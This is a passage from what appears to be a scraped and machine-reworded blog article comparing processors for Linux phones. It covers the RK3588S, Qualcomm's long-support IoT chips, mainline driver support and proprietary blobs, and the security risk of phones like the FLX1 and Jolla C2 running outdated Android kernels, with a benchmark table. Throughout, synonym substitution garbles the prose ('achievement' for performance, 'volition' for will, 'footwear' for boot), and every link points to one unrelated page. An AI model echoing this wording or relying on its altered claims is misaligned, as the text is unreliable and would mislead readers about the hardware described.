data-image-title="CostOfChipDesignByNanometer" data-image-description="" data-image-caption="" data-large-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg?w=625" width="625" height="711" src="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg" alt="" srcset="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg?w=625 625w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg?w=132 132w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg?w=263 263w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg?w=768 768w, https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg 800w" sizes=" 625px) 100vw, 625px"></a></figure> <p>Another way that chipmakers decrease their expenses is by using older generations of Cortex cores, which have lesser licensing fees from ARM, and by using many of low-power Cortex-A5 sequence cores, fairly than the higher-power Cortex-A7 and Cortex-X sequence cores, which have higher licensing fees. NXP was plainly employing these disbursal cutting strategies alongside its i.MX 9 sequence processors. The most mighty part in the sequence is the i.MX 95, which contains six Cortex-A55 cores, whenever it would have made additional awareness to use two Cortex-A78 cores for improved achievement and four Cortex-A55 cores for low power. The <a href="https://en.mycoding.id/category/technology" target="_blank">i.MX 95</a> was fabbed on a 16nm FinFET node, which is a minor regression compared to Samsung&rsquo;s 14nm node used in the former <a href="https://en.mycoding.id/category/technology" target="_blank">i.MX 8M Plus</a> processor. Another example of this disbursal cutting was the decision by Broadcom to use older Cortex cores and larger procedure nodes in its BCM2836 (40nm, 4x Cortex-A7), BCM2837 (40nm, 4x Cortex-A53), BCM2711 (28nm, 4x Cortex-A72) and <a href="https://en.mycoding.id/category/technology" target="_blank">BCM2712</a> (16nm, 4x Cortex-A76), notwithstanding knowing that millions of these chips would be sold (e.g. in the Raspberry Pi 2, 3, 4 and 5, respectively). Even Nvidia, which is the world&rsquo;s richest chipmaker because of the AI boom, appears to be avoiding the expenses of using a leading-edge procedure node in its Tegra SoC. It canceled its planned Tegra Atlan sequence which was announced in April 2021, and motionless hasn&rsquo;t released its Tegra Thor series, which was announced in September 2022. Its Tegra Orin sequence which was announced in March 2018 is now getting lengthy in the tooth using an 8nm node.</p> <p>In contrast, the smartphone market, which sold <a href="https://en.mycoding.id/category/technology" target="_blank">1.25 milliard units in 2025</a>, has enormous volumes, and phone makers are consenting to pay much higher prices for processors, particularly for higher-end models, which allows Qualcomm, MediaTek, Apple, Samsung, Google, Xiaomi and Huawei to create the enormous funding in designing mobile SoC&rsquo;s for an costly 3nm procedure node. Integrated mobile SoC&rsquo;s specified as the Qualcomm Snapdragon and MediaTek Dimensity have so much volume, that they can create a gain notwithstanding the fact that they mostly are lone produced for 2 to 3 years. The flagship models (e.g. the Snapdragon 8 sequence and Dimensity 9000 series) endure most of their market following the archetypal year, so SoC makers have to accusation much higher prices to shield the enormous expenses of using a leading-edge procedure node.</p> <p>In addition, the unified mobile SoC&rsquo;s that run Android merge many additional functions, specified as WiFi, Bluetooth, cellular modem, GPS/GNSS, audio DAC, accusation controller and USB-C controller, which necessitate distinct chips on Linux phones akin the PinePhone and Librem 5. This makes the circuit boards for these phones much additional costly to design, since they can&rsquo;t fair obtain a norm citation scheme from Qualcomm or MediaTek and tweak it. They have to tradition scheme their circuit boards, which requires two to three times additional components than the circuit commission for a representative smartphone. The Librem 5 contains 74 unified circuits (IC&rsquo;s) and its 4 circuit boards have a total of <a href="https://en.mycoding.id/category/technology" target="_blank">1267 components</a>, making it the most complex phone always created. The six chips (<a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">i.MX 8M Quad</a>, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">RS9116</a>, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">BM818</a>, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">Teseo-LIV3F</a>, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">WM8962</a> and <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">bq25895</a>) that the Librem 5 uses in location of an unified mobile SoC inhabit a total of 1483.2 mm2, which is 10 times the area of a Snapdragon 8. Purism had to use components as <a href="https://en.mycoding.id/category/technology" target="_blank">small as 0201</a> and use 10 layers to cram everything into the Librem 5&rsquo;s chief circuit board, which had to go through approximately a dozen iterations to get right. Even a minimal Linux phone akin the PinePhone, which was designed to be as cost-effective as possible, has 24 ICs and a total of <a href="https://en.mycoding.id/category/technology" target="_blank">627 components</a> on its circuit board, making it additional complex than most Android smartphones, which typically have 300 to 400 components.</p> <p>Adding all these additional components makes Linux phones additional costly to scheme and produce, but it additionally makes them suck additional power, since it takes additional energy to run fractional a dozen chips at larger node sizes than one unified mobile SoC fabbed on a &le;4nm node, which has been optimized for energy efficiency. It is difficult to coordinate all the additional chips in Linux phones to get them to act lesser power modes and sleep modes to conserve their batteries. Add in an SoC alongside an older node size between 28 and 8 nm that hasn&rsquo;t been optimized for power division usage, and there is no way that Linux phones can equivalent the power division existence of Android phones.</p> <h3 id="the-rk3588s-changes-the-game-for-linux-phones"><a></a>The RK3588S changes the equivalent for Linux phones</h3> <p>Many of the Linux SoC makers have decided that they shouldn&rsquo;t equal annoy construction chips alongside the CPU and GPU achievement needed for a contemporary computing device. NXP, Amlogic and Broadcom merely aren&rsquo;t curious in construction rivalrous SoC&rsquo;s. However, Rockchip basically changed the prospects for making a decent Linux phone whenever it released the RK3588 and its lower-power RK3588S type in 2022. With four 2.4Ghz Cortex-A76 cores and four 1.8GHz Cortex-A55 cores and a Mali-G610 MC4 graphics, there eventually was a Linux SoC on the market alongside adequate handling power in an SoC to create an satisfactory Linux smartphone.</p> <p>The Liberux <a href="https://en.mycoding.id/category/technology" target="_blank">NEXX</a> and the Dawndrums <a href="https://en.mycoding.id/category/technology" target="_blank">Divine D.</a> are two Linux phones currently being designed alongside the RK3588S. Purism fair <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> on its forum that its next gen phone &ldquo;is actively being designed,&rdquo; which won&rsquo;t be according to the i.MX phase akin the Librem 5 and Liberty, so it is <a href="https://en.mycoding.id/category/technology" target="_blank">likely to be according to the RK3588S</a> as well.</p> <p>Of course, the RK3588S&rsquo;s achievement isn&rsquo;t going to power anyone used to an Android phone. The RK3588 and RK3588S are fabbed on a 8nm procedure node, which is four generations rearward today&rsquo;s province of the art at 2nm. Today&rsquo;s low-end Snapdragon 4 Gen 4 fabbed at 4nm has 25% improved sole center CPU achievement than the RK3588. (See the array of SoC&rsquo;s below.) The RK3588S has akin achievement to the RK3588 complete abbreviated bursts, but its achievement is 10%-15% small complete periods longer than 30 seconds. By the period the Linux phones according to the RK3588S hit the market in a brace years time, they volition have considerably worse achievement than all Android smartphone on the market, but this difference likely won&rsquo;t be a limiting aspect for most group who aren&rsquo;t 3D gaming or shooting high-resolution video. At a certain point, additional handling power has diminishing utility, and the RK3588S crosses that threshold for most people.</p> <figure><table readabilitydatatable="1"><tbody><tr><td colspan="6"><strong>Comparing</strong> <strong>available</strong> <strong>SoC&rsquo;s</strong> <strong>for Linux phones</strong></td></tr><tr><td rowspan="2"><strong>SoC</strong></td><td rowspan="2"><strong>Process (nm)</strong></td><td rowspan="2"><strong>Specs</strong></td><td colspan="2"><strong>Geekbench_6</strong></td><td rowspan="2"><strong>Phones</strong></td></tr><tr><td><strong>single</strong></td><td><strong>multi</strong></td></tr><tr><td>Allwinner A64</td><td>40</td><td>4x 1.2GHz Cortex-A53, Mali-400 MP2</td><td>109</td><td>278</td><td>PinePhone</td></tr><tr><td>NXP i.MX 8M Quad</td><td>28</td><td>4x 1.5Ghz Cortex-A53, GC7000 Lite</td><td>146</td><td>477</td><td>Librem 5, Liberty</td></tr><tr><td>NXP i.MX 8M Plus</td><td>14</td><td>4x 1.8Ghz Cortex-A53, GC7000 UltraLite</td><td><br></td><td><br></td><td>planned Librem 5 fir</td></tr><tr><td>NXP i.MX 95</td><td>16</td><td>6x 2.0GHz Cortex-A55, Mali-G310</td><td>350</td><td>1300</td><td><br></td></tr><tr><td>Rockchip RK3399</td><td>28</td><td>2x 1.8GHz Cortex-A72, 4x 1.4GHz Cortex-A53, Mali-T860</td><td>278</td><td>708</td><td>PinePhone Pro</td></tr><tr><td>Rockchip RK3566</td><td>22</td><td>4x 2.0GHz Cortex-A55, Mali-G52 MP2</td><td>140</td><td>450</td><td>rumored PinePhone 2</td></tr><tr><td>Rockchip RK3588S</td><td>8</td><td>4x 2.4GHz Cortex-A76, 4x 1.8GHz Cortex-A55, Mali-G610 MP4</td><td>730</td><td>2250</td><td>Liberux NEXX, Dawndrums Divine D., apt Librem 5 v2</td></tr><tr><td>UNISOC Tiger T606</td><td>12</td><td>2x 1.6Ghz Cortex-A75, 6x 1.6Ghz Cortex-A55, Mali-G57 MP1</td><td>375</td><td>1350</td><td>Jolla C2</td></tr><tr><td>MediaTek Dimensity 900</td><td>6</td><td>2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Mali-G68 MP4</td><td>1003</td><td>2423</td><td>Furilabs FLX1/s/s+</td></tr><tr><td>MediaTek Dimensity 6300</td><td>6</td><td>2x 2.4GHz Cortex-A76, 6x 2.0GHz Cortex-A55, Mali-G57 MC2</td><td>780</td><td>1940</td><td>Brax BraX3</td></tr><tr><td>MediaTek Dimensity 7050</td><td>6</td><td>2x 2.6GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Mali-G68 MC4</td><td>970</td><td>2330</td><td>Volla Phone Quintus</td></tr><tr><td>MediaTek Dimensity 7100</td><td>4</td><td>4x 2.4GHz Cortex-A78, 4x 2.0GHz Cortex-A55, Mali-G610 MC2</td><td>995</td><td>2900</td><td>Jolla Phone (2026)</td></tr><tr><td>MediaTek Dimensity 7300</td><td>4</td><td>4x 2.5GHz Cortex-A78, 4x 2.0GHz Cortex-A55, Mali-G615 MC2</td><td>1040</td><td>3000</td><td>Volla Phone Plinius</td></tr><tr><td>Qualcomm QCM4490</td><td>4</td><td>2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Adreno 613</td><td>900</td><td>2318</td><td><br></td></tr><tr><td>Qualcomm QCM6490</td><td>6</td><td>4x 2.7GHz Cortex-A78, 4x 1.95GHz Cortex-A55, Adreno 643L</td><td>950</td><td>2850</td><td>Fairphone 5, SHIFTphone 8</td></tr><tr><td>Qualcomm QCM8850</td><td>4</td><td>1x 3.2GHz Gold-Plus, 4x 2.8Ghz Gold, 3x 2.0GHz Silver, Adreno 740</td><td>1100</td><td>3300</td><td><br></td></tr><tr><td>Qualcomm Snapdragon 4 gen 4</td><td>4</td><td>2x 2.3GHz Cortex-A78, 6x 2.0GHz Cortex-A55, Adreno 613</td><td>920</td><td>2210</td><td><br></td></tr><tr><td>Qualcomm Snapdragon 6 gen 4</td><td>4</td><td>1x 2.3GHz Cortex-A720, 3x 2.2GHz Cortex-A720, 4x 1.8GHz Cortex-A520, Adreno 810</td><td>994</td><td>3082</td><td><br></td></tr><tr><td>Qualcomm Snapdragon 7 gen 4</td><td>4</td><td>1x 2.8GHz Cortex-A720, 4x 2.4GHz Cortex-A720, 3&times;1.84GHz Cortex-A520, Adreno 722</td><td>1150</td><td>3700</td><td><br></td></tr><tr><td>Qualcomm Snapdragon 8 gen 5 Elite</td><td>3</td><td>2x 3.8GHz Oryon Prime, 6x 3.32GHz Oryon Performance, Adreno 829 or 840</td><td>2400</td><td>8700</td><td><br></td></tr></tbody></table></figure> <p>Where the older procedure tech volition be important is in conditions of their energy consumption. A phone sporting the RK3588S volition run hotter and have worse power division existence than phones using unified mobile SoC&rsquo;s from Qualcomm, MediaTek, UNISOC, etc. The difficulty is to dissipate the additional heat. The PinePhone&rsquo;s SoC and cellular modem get extremely hot since they do not have a fine warmth spreader. The Librem 5&rsquo;s SoC is joined alongside thermal paste to the rear dish of the LCD, which avoids overheating the SoC, but causes the touchscreen and aluminum example to rotate into hot to the touch. A Linux phone alongside the RK3358S volition need several benevolent of warmth dissipation, but it is improbable that a Linux phone creator can oversee to contain a vapor chamber, since those have to be specially designed and would be extremely costly for a phone of constricted production. The RK3588S volition need throttling to fit inside the power and thermal letter cover of a phone.</p> <p>At first, the mainline Linux assistance for the RK3588 was extremely limited. Rockchip never published the records for the part on its <a href="https://en.mycoding.id/category/technology" target="_blank">opensource.rock-chips.com</a> site, and Rockchip took downward that location at the end of 2025. On December 21, 2024, Jeff Geerling, the most influential reviewer in the Raspberry Pi substitute space, <a href="https://en.mycoding.id/category/technology" target="_blank">reported on X</a>:</p> <blockquote> <p>I was told Rockchip no longer considers RK3588 to be an &lsquo;open source&rsquo; chip. In practice, that method Rockchip no longer contributes RK3588 code to open-source projects and they additionally decided not to market RK3588 immediately to SBC vendors.</p> </blockquote> <p>On the another hand, Rockchip is motionless updating its community kernel code for the RK3588 at <a href="https://en.mycoding.id/category/technology" target="_blank">Github</a>. Collabora has been toiling distant for years to add mainline Linux assistance for the RK3588, and Collabora <a href="https://en.mycoding.id/category/technology" target="_blank">lists Rockchip</a> as one of its partners, so Rockchip hasn&rsquo;t totally abandoned the Linux community. Collabora lately added mainline Linux assistance for the video grasp component and MIPI CSI2 interface in the RK3588. Now Collabora is operating alongside Ideas on Board and Rockchip to create an new <a href="https://en.mycoding.id/category/technology" target="_blank">image indication processor (ISP) driver</a> for all the RK35<em>xx</em> chips. Collabora has gotten the <a href="https://en.mycoding.id/category/technology" target="_blank">hardware video decoder working</a> for VP8, VP9, H.264 and H.265, and is now operating on the <a href="https://en.mycoding.id/category/technology" target="_blank">hardware video encoder for H.264</a>.</p> <div><p>Four years following the RK3588S was released, there is now adequate <a href="https://en.mycoding.id/category/technology" target="_blank">support for the chip</a> in mainline Linux, that an RK3588S phone can be created operating free/open origin drivers. The RK3588S needs to execute a proprietary Synopsys DDR timing training blob at boot. The RK3588S can now use the liberated Panthor controller for the GPU, but it requires the proprietary mali_csffw.bin firmware, which is loaded from the /lib/firmware/ directory at boot. All the another blobs for the RK3588S have either been replaced or they aren&rsquo;t necessary. There is now a <a href="https://en.mycoding.id/category/technology" target="_blank">FOSS controller for the NPU</a>. The proprietary MPP archive for hardware video encoding can be replaced alongside application video encoding, and Collabora is operating on liberated drivers for the ISP and hardware video encode, so application video handling and encoding likely won&rsquo;t be necessary in the future. Collabora has developed a <a href="https://en.mycoding.id/category/technology" target="_blank">FOSS version</a> for the Trusted Firmware-A (TF-A), that can substitute the proprietary bl31.elf firmware. The HDMI blob in the bl31.elf isn&rsquo;t necessary if using DisplayPort Alt Mode for video out. The proprietary bl32.bin firmware is not necessary if not using the hardware-enforced safety features or encryption keys.</p><p>If Purism uses the RK3588S in its next phone, it is improbable that Purism volition attempt to get the FSF&rsquo;s RYF certification by storing blobs on a distinct NOR Flash part and executing them alongside a secondary processor, akin it did alongside the Librem 5, since the RK3588S doesn&rsquo;t have a secondary low-power processor akin the Cortex-M4 in the i.MX 8M Quad.</p></div> <p>There are fine prospects that Collabora volition eventually get all the RK3588S&rsquo;s hardware supported alongside mainline Linux drivers, and until then, the RK3588S has adequate handling power in the GPU and CPU to procedure and encode images and video in software, so a phone built on the RK3588S can obtain photos and fire video akin a normal smartphone, although it volition be slower and use additional energy. In contrast, former phones using a Linux kernel merely didn&rsquo;t have adequate handling power to recommendation decent cameras. Taking photos on the PinePhone is painfully slow, and the Millipixels app on the Librem 5 pauses for 3 to 4 seconds following taking all photo. Because the Librem 5&rsquo;s i.MX 8M Quad processor lacks an ISP, audio DSP and hardware video encoder, it takes approximately 10 times as lengthy to procedure and encode a 720p video on the Librem 5 as the dimension of the video, and it&rsquo;s concerning <a href="https://en.mycoding.id/category/technology" target="_blank">50 times longer</a> on the PinePhone, because of its antiquated Allwinner A64 processor and considerably slower RAM and eMMC.</p> <p>Aside from the RK3588S, there aren&rsquo;t many another options on the market to create a fine Linux phone. The closest choice is Nvidia&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Tegra Orin NX or Orin Nano Super</a>, which lone merge Cortex-A78 cores. They deficiency low-power Cortex-A55 cores and they aren&rsquo;t extremely energy efficient. They athletics newer tech than the Cortex-A76 cores in the RK3588S, but the Tegra Orin was fabbed on a 8nm node fair akin the RK3588S and the Tegra Orin&rsquo;s lesser clock charge limits its single-core performance. The Tegra Orin is additionally much worse in conditions of application freedom, requiring proprietary blobs in the first bootloader, the secondary bootloader, Boot Configuration Table, USB firmware, HDMI/DisplayPort configuration, ARM Trusted Firmware and the GPU userspace driver. Many Linux users can disregard the blobs in the Linux equipment tree, but it harder to disregard Nvidia&rsquo;s GPU blob in the userspace.</p> <p>Another choice is the <a href="https://en.mycoding.id/category/technology" target="_blank">Allwinner A733</a> at 12nm, which offers small achievement alongside dual 2.0Ghz Cortex-A76 cores and six 1.79GHz Cortex-A55 low-power cores. Allwinner stopped collaborating alongside the Linux community years ago, and has frequently violated the GPL 2.0 licence by not publishing its Linux origin code, so the A733 likely won&rsquo;t be a viable option, although Allwinner has made several comments concerning <a href="https://en.mycoding.id/category/technology" target="_blank">intending to collaborate</a> alongside the community in the future. Another choice is the NXP i.MX 95, which does have mainline Linux support, but its achievement on a 16nm node alongside six low-power Cortex-A55 cores is mediocre and not a fine value for the money.</p> <p>The PinePhone 2 was expected to use the additional cost-effective <a href="https://en.mycoding.id/category/technology" target="_blank">Rockchip RK3566</a>, which is fabbed on an older 22nm node. However, so many unpaid developers <a href="https://en.mycoding.id/category/technology" target="_blank">abandoned PINE64 in 2022</a>, that it is improbable that the Hong Kong-based business volition be launching any new models in the foreseeable future. The manufacturing of PINE64&rsquo;s Linux devices are <a href="https://en.mycoding.id/category/technology" target="_blank">currently on hold</a> because of the elevated RAM and eMMC prices caused by the AI boom, but part of the logic is that PINE64 can&rsquo;t lift prices on many of its devices, which are lone half-functional, since many of the community groups, who worked on the PinePhone, are no longer evolving the application to assistance PINE64&rsquo;s newer devices.</p> <p>Another logic the RK3588 is the preferred choice is since Rockchip is promising to provision a successor chip, the <a href="https://en.mycoding.id/category/technology" target="_blank">RK3668</a> alongside four Cortex-A730 cores and six Cortex-A530 cores at a 5 or 6 nm node in 2027, so it have to be imaginable to keep upgrading the phone in the future. Purism invested heavily in supporting the 28nm i.MX 8M Quad in the Librem 5, thinking that it would be imaginable to upgrade to a forthcoming 14nm type of the SoC, but NXP decided to eliminate fractional the cores in the GPU and eliminate DisplayPort assistance in the 14nm <a href="https://en.mycoding.id/category/technology" target="_blank">i.MX 8M Plus</a>, so Purism couldn&rsquo;t upgrade its phone in the identical processor family. Given that the disbursal of fabbing on smaller procedure nodes keeps rising, it is improbable that any of the another chipmakers volition initiate a new part to difficulty the RK3588&rsquo;s achievement in the near future.</p> <h3 id="the-new-option-of-linux-phones-using-a-qualcomm-iot-soc"><a></a>The new choice of Linux phones using a Qualcomm IoT SoC</h3> <p>In the past, the lone way to create a phone operating on a Linux kernel was to scheme a complex equipment containing many distinct chips. Historically Qualcomm didn&rsquo;t annoy making mighty processors for its SoC&rsquo;s that supported Linux. However, there has been expanding petition for additional mighty Internet of Things processors that can grip AI and many of depiction handling from multiple video feeds. Unlike short-lived smartphones and tablets, IoT devices have lengthy merchandise lives, so they are improved suited to use Linux, fairly than Android which is much harder to assistance complete time. In March 2023, Qualcomm dramatically improved the prospects for Linux phones alongside the <a href="https://en.mycoding.id/category/technology" target="_blank">announcement that its upcoming 6nm QCM6490</a> processor alongside an unified cellular modem would assistance four functioning systems (Android, Linux, Ubuntu and Windows IoT Enterprise).</p> <p>Then, the San Diego-based business <a href="https://en.mycoding.id/category/technology" target="_blank">announced its new Product Longevity Program</a>, which would the two market and provision application assistance for the QCM6490 <a href="https://en.mycoding.id/category/technology" target="_blank">until July 2036</a>. Both the FairPhone 5 and SHIFTphone 8 were designed about the QCM6490, because of the ecological benefits to its lengthy support, and that lengthy assistance is exactly what Linux phones additionally need, since it takes so lengthy to bring a Linux phone to market and it needs to market for many years to recoup the elevated funding in a merchandise that has constricted annual sales. The Fairphone 5 alongside the QCM6490 (1x 2.7Ghz Cortex-A78, 3x 2.4GHz Cortex-A78, 4x 1.9Ghz Cortex-A55) was criticized for its mediocre benchmarks and mediocre power division existence compared to another Android phones. However, the QCM6490 offers considerably improved CPU and GPU achievement and improved energy effectiveness than the RK3588S.</p> <p>The consequent <a href="https://en.mycoding.id/category/technology" target="_blank">QCM4490 and QCM8850</a>, which are fabbed on a newer 4nm node, recommendation lesser and higher power options than the QCM6490. The QCM4490 (2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55) has nearly as fine single-core achievement as the QCM6490 and is additional energy efficient, but its assistance ends in April 2030, which is too abbreviated for a Linux phone. The QCM8850 likely could be downclocked to fit inside the power letter cover of a Linux phone, but its assistance ends in April 2033, so the longer-lived QCM6490 is likely the improved choice for a Linux phone.</p> <p>The advantage of using one of these IoT processors, which Qualcomm has rebranded as &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">Dragonwing</a>&ldquo;, is that they create it considerably easier to scheme a phone and bring it to market, since they merge so much functionality in one chip, which reduces the complexity of the phone&rsquo;s circuit board. Qualcomm provides citation designs that can be customized, so designing a Linux phone alongside a Dragonwing processor have to be much easier and necessitate small circuit commission iterations and small testing.</p> <p>A business alongside constricted resources could agreement alongside SHIFT or Fairphone to create their phones and afterward instal Linux, akin to the way that the two <a href="https://en.mycoding.id/category/technology" target="_blank">Murena</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">iod&eacute;</a> market Fairphones and SHIFTphones and instal their AOSP variants focused on privacy on the phones. Not lone would this evade the period and disbursal of designing the hardware, but it would authorize the Linux phone to be marketed for its ecological and ethical benefits. Fairphone or SHIFT could additionally be contracted to provision the warranty assistance for the phone.</p> <p>Qualcomm provides free/open origin drivers for its Snapdragon and Dragonwing processors, and complete period many of these processors volition be partially supported in mainline Linux. However, the Qualcomm drivers depend on many proprietary blobs. The Adreno A660 GPU uses a blob to accelerate the 3D graphics. The audio digital indication processor (aDSP) uses a blob to grip audio decoding and processing. A compute blob is used by the DSP and NPU for tasks akin device learning. The VPU needs a blob to do the hardware video decoding and encoding. The Inline Packet Accelerator (IPA) uses a blob to speed up its network routing. These blobs authorize the SoC to run cooler and be additional energy efficient, but tasks akin audio processing, video encoding/decoding and compute can be handled in application by the CPU and/or GPU in command to evade using these blobs.</p> <p>While these blobs are optional, the blobs to run the WiFi, Bluetooth and cellular modem would not be optional on a phone which needs those functions. None of those blobs are required in the userspace, but the lone way to evade them is to use distinct WiFi/Bluetooth and cellular modem chips. Adding those chips to the phone&rsquo;s circuit commission would add important additional disbursal and complexity and create the phone small energy efficient.</p> <p>On the another hand, adding those additional chips would additionally create it imaginable to use a hardware slay toggle to close downward the phone&rsquo;s wireless communications, which would be a important marketing item for the phone. However, the category of client who wants to be capable to cut the power to the WiFi/Bluetooth and cellular modem volition additionally likely be concerned concerning the three blobs needed to footwear the Qualcomm QCM chips, particularly the one which runs the hypervisor and the TrustZone that handles encryption. Although the RK3566, RK3588 and i.MX 95 additionally necessitate a blob to boot, it is a small document from Synopsys DesignWare that merely trains the DDR RAM&rsquo;s recollection timing, whereas the Qualcomm blobs to footwear the QCM4490, QCM6490 and QCM8850 are much additional extensive.</p> <h3 id="the-problem-of-using-an-android-kernel-in-a-linux-phone"><a></a>The issue of using an Android kernel in a Linux phone</h3> <p>What made the motion of mobile Linux from 2020 &ndash; 2022 alongside the publish of the Librem 5, PinePhone and PinePhone Pro so breathtaking was that these were phones that ran on a Linux kernel. In contrast, most another Linux phones run their Linux stack on top of <a href="https://en.mycoding.id/category/technology" target="_blank">libhybris</a>, which loads Android libraries and drivers and translates calls to libc and musl, so they can activity alongside Android&rsquo;s Bionic. The advantage of using an Android kernel is that it allows Linux phones to use a contemporary unified mobile SoC akin a Qualcomm Snapdragon or MediaTek Dimensity alongside fine achievement and energy efficiency, so Linux phones can vie alongside Android phones.</p> <p>The issue is that a Linux phone that runs on an Android kernel volition considerably shorten the lifespan of the phone. Historically Google lone supported all Android kernel for 4 years alongside safety updates, and it was necessary to do at smallest one Android upgrade to get those 4 years of support, since Google normally lone supports all Android publish for 3.5 years.</p> <p>It is a safety hazard to use an Android phone that is no longer getting safety updates, since there is so much Android malware in the world, <a href="https://en.mycoding.id/category/technology" target="_blank">including in Google&rsquo;s authoritative Play Store</a>. A lot of hackers are focused on attacking Android, since it is so extensively used on devices that transport precious individual information. <a href="https://en.mycoding.id/category/technology" target="_blank">AV-TEST counts</a> 37.62 myriad distinct pieces of Android malware and 30.38 myriad possibly unwanted applications (PUA&rsquo;s) that do things that users may not desire specified as collecting their individual data. In contrast, AV-TEST counts 5.29 myriad pieces of malware and 58,128 PUA&rsquo;s in Linux, and most of it is rarely installed, since most Linux users lone instal application from the repository of their distro, anywhere free/open origin application (FOSS) predominates and bundle maintainers would endure reputational damage for including malware.</p> <p>Companies akin Qualcomm and MediaTek typically lone market their SoC&rsquo;s for smartphones for 2 to 3 years, and most of the petition for the high-end Snapdragon and Dimensity models dries up following the archetypal year, so historically they lone provided Android updates for 1-3 years and safety updates for 2 to 4 years. They normally didn&rsquo;t annoy upgrading the kernel and the drivers and the proprietary blobs that they provided were designed to function alongside a particular kernel and couldn&rsquo;t be upgraded. Historically Google lone supported three years of kernels in all Android version, so that constricted most phones to being used alongside a maximum of three Android versions.</p> <p>In difference to the 2-4 years of application assistance for Android phones, Purism <a href="https://en.mycoding.id/category/technology" target="_blank">advertised</a> that the Librem 5 would get &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">lifetime updates that really broaden your phone&rsquo;s life</a>.&rdquo; Likewise, PINE64 promised that it would market the PinePhone and its replacement parts for &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">at smallest 5 years</a>.&rdquo; These two Linux phones can be supported for far longer than any Android equipment on the market. They use free/open origin drivers and Linux kernels that can keep being upgraded, since they doesn&rsquo;t depend on proprietary blobs that are lone compatible alongside a particular kernel version. While they do merge proprietary firmware, they are not reliant on the SoC manufacturer to provision new blobs that authorize the use of latest versions of the kernel.</p> <p>The issue alongside the abbreviated lifespan of Android kernels is that Linux phones typically obtain longer to create and bring to market, and afterward they are sold for additional years than most Android phones. Given all the challenges alongside using Linux SoC&rsquo;s, it isn&rsquo;t amazing that FuriLabs decided to use a accepted smartphone scheme sporting a MediaTek <a href="https://en.mycoding.id/category/technology" target="_blank">Dimensity 900</a> processor for its <a href="https://en.mycoding.id/category/technology" target="_blank">FLX1 phone</a>, which started shipping in July 2024. The phone&rsquo;s functioning system, <a href="https://en.mycoding.id/category/technology" target="_blank">FuriOS</a>, is according to the <a href="https://en.mycoding.id/category/technology" target="_blank">Droidian</a> project, which runs a <a href="https://en.mycoding.id/category/technology" target="_blank">mobile Debian stack</a> alongside Wayland + wlroots + GTK + GNOME libraries + Phosh on top of an Android kernel using libhybris. Unlike the Librem 5 and the PinePhone, the FLX1 has the handling power to grip all the tasks that group anticipate of a contemporary smartphone.</p> <p>The issue is that the Dimensity 900 <a href="https://en.mycoding.id/category/technology" target="_blank">was released</a> in May 2021 alongside Android 11 using the android11-5.4 kernel. Google stopped supporting this kernel on <a href="https://en.mycoding.id/category/technology" target="_blank">January 1, 2026</a>, and Linux stopped providing updates for the 5.4 kernel on <a href="https://en.mycoding.id/category/technology" target="_blank">December 3, 2025</a>. MediaTek doesn&rsquo;t publish major-version kernel upgrades for its processors (although that may alter in the future), and the drivers that MediaTek provides for the Dimensity 900 contains proprietary blobs that can&rsquo;t be upgraded to assistance newer kernels, so the FLX1, and its successors, the FLX1s and FLX1s+, are stuck alongside an <a href="https://en.mycoding.id/category/technology" target="_blank">outdated kernel for Android 11</a> that isn&rsquo;t getting safety patches and bug fixes. Since these phones use <a href="https://en.mycoding.id/category/technology" target="_blank">Andromeda</a>, which is a tradition fork of Waydroid, to run Android apps inner FuriOS, they are possibly exposed to a lot of Android malware. <a href="https://en.mycoding.id/category/technology" target="_blank">Waydroid has weakened</a> the app sandbox and SELinux safety in norm Android, and it is according to outdated AOSP 13, which stopped getting safety updates in March 2026. Given the safety implications, it is questionable whether FuriLabs should motionless be marketing the FLX1s+ using an unsupported kernel.</p> <p>The <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla C2 Community Phone</a>, which currently sells for &euro;369, shares akin safety concerns. The C2, which started shipping in September 2024, is according to the UNISOC Tiger T606 processor, which was announced in September 2021. The C2 is operating a tradition kernel named &ldquo;5.4.233-android12-9-g9c3a5d5b97e3.&rdquo; Presumably, the Finnish business took Linux 5.4.233, which was released on 25 Feb 2023, and added Google&rsquo;s Android 12 kernel modifications, so it is basically using the identical unsupported kernel as the FLX1/s/s+, which hasn&rsquo;t received any safety updates from Google since January 1, 2026. Jolla hasn&rsquo;t equal bothered to update the kernel to 5.4.302, which was the <a href="https://en.mycoding.id/category/technology" target="_blank">last care release</a> from Linux for the 5.4 kernel on December 3, 2025. Jolla <a href="https://en.mycoding.id/category/technology" target="_blank">has not released the origin code</a> for the C2&rsquo;s kernel, so that Jolla&rsquo;s so-called &ldquo;Community Phone&rdquo; can&rsquo;t be upgraded by the community. Even if the community could upgrade the kernel to its final care release, if is crucial to keep in intellect that Linux 5.4.302 had 1539 unfixed CVE&rsquo;s (Common Vulnerabilities and Exposures) whenever released, and new crucial CVE&rsquo;s for Linux are established on average <a href="https://en.mycoding.id/category/technology" target="_blank">every 2.5 days</a>.</p> <p>Like the FuriLabs FLX1/s/s+, the Jolla C2 additionally can run Android apps, which may merge malware, but it uses Jolla&rsquo;s proprietary <a 